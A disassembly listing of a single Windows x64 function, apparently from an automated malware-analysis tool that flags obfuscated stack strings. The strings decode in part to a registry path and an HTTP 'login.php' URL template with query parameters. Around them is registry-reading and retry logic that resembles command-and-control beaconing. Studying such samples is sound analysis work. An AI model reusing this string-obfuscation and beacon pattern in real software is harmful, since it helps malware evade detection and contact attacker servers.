Function at 0x14001cf10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rax - 0x268]
sub rsp, 0x350
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov dword [rbp - 0x30], 0x74666f53
mov dword [rbp - 0x29], 0x55455c65
mov word [rbp - 0x25], 0x4b44
mov word [rbp - 0x2c], 0x6177
mov byte [rbp - 0x23], r14b
mov byte [rbp - 0x2a], WSACleanup
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x80]
call fcn.140023e68
nop
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x20]
call fcn.140028c20
lea rcx, [rbp + 0x20]
call fcn.14000493c
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.140023e68
nop
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140021714
lea ebx, [r14 + 1]
mov dword [rsp + 0x30], ebx
mov r8d, ebx
lea rdx, [0x1400d1a6c]
lea rcx, [rsp + 0x60]
call fcn.140021048
nop
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140021714
mov dword [rsp + 0x30], 3
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.140021048
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140022ff0
nop
mov r12d, 0x1000
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001d070
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r12
jb 0x14001d06b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d481
call fcn.140026e6c
mov qword [rsp + 0x50], r14
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x40], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001d0be
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x14001d0b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d487
call fcn.140026e6c
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x60], r14b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001d104
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x14001d0ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d48d
call fcn.140026e6c
mov dword [rsp + 0x34], r14d
mov eax, 4
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x3c], eax
mov dword [rbp - 0x10], 0x696570
mov dword [rbp - 0x1f], 0x65747379
mov dword [rbp - 0x17], 0x6e6f464b
mov dword [rbp - 0x1b], 0x4455456d
mov word [rbp - 0x13], 0x5474
mov byte [rbp - 0x20], 0x53
mov byte [rbp - 0x11], 0x79
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3c]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffff80000003
call fcn.140007f3c
cmp dword [rsp + 0x34], ebx
jne 0x14001d3e0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x60], r14b
mov dword [rbp + 0xb], 0x253d693f
mov dword [rbp + 0x15], 0x313d7326
mov dword [rbp + 6], 0x68702e67
mov dword [rbp + 0xf], 0x3d702673
mov dword [rbp - 1], 0x2f73252f
mov word [rbp + 4], 0x6f6c
mov word [rbp - 6], 0x7074
mov byte [rbp + 3], 0x69
mov word [rbp + 0x13], 0x7325
mov word [rbp - 3], 0x2f3a
mov byte [rbp + 0x19], r14b
mov byte [rbp - 4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa], reloc.WS2_32.dll_WSASetLastError
mov word [rbp - 8], 0x7468
lea rcx, [rbp - 0x60]
call fcn.1400145fc
mov rbx, rax
mov dword [rbp - 0x40], 0x616f7373
mov dword [rbp - 0x3c], 0x632e6d70
mov word [rbp - 0x37], WSASetLastError
mov byte [rbp - 0x38], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140023e68
nop
cmp qword [rbx + 0x18], 0x10
jb 0x14001d223
mov rbx, qword [rbx]
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
lea rax, str.1af3edf2e0db4686841b9423a14fb240
mov qword [rsp + 0x20], rax
mov r9, rbx
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x60]
call fcn.140022e30
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001d28b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r12
jb 0x14001d286
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d493
call fcn.140026e6c
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x40], r14b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001d2d1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x14001d2cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d499
call fcn.140026e6c
mov esi, r14d
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x130]
call fcn.140028c20
lea rcx, [rbp + 0x130]
call fcn.14000493c
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x40], r14b
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x40]
call fcn.14001011c
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
test al, al
je 0x14001d35d
lea rax, [rsp + 0x40]
cmp rdi, 0x10
cmovae rax, rbx
cmp qword [rsp + 0x50], 1
jne 0x14001d35d
cmp byte [rax], 0x31
jne 0x14001d350
mov eax, r14d
jmp 0x14001d355
sbb eax, eax
or eax, 1
test eax, eax
je 0x14001d443
mov ecx, 0x3e8
call fcn.14001f860
nop
cmp rdi, 0x10
jb 0x14001d39b
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, r12
jb 0x14001d393
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d4a5
mov rcx, rbx
call fcn.140026e6c
inc esi
cmp esi, 6
jl 0x14001d2d4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001d3e0
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x14001d3da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d49f
call fcn.140026e6c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001d413
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x14001d40e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d47b
call fcn.140026e6c
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140026bb0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
cmp rdi, 0x10
jb 0x14001d3a6
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, r12
jb 0x14001d46e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d4a5
mov rcx, rbx
call fcn.140026e6c
jmp 0x14001d3a6
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3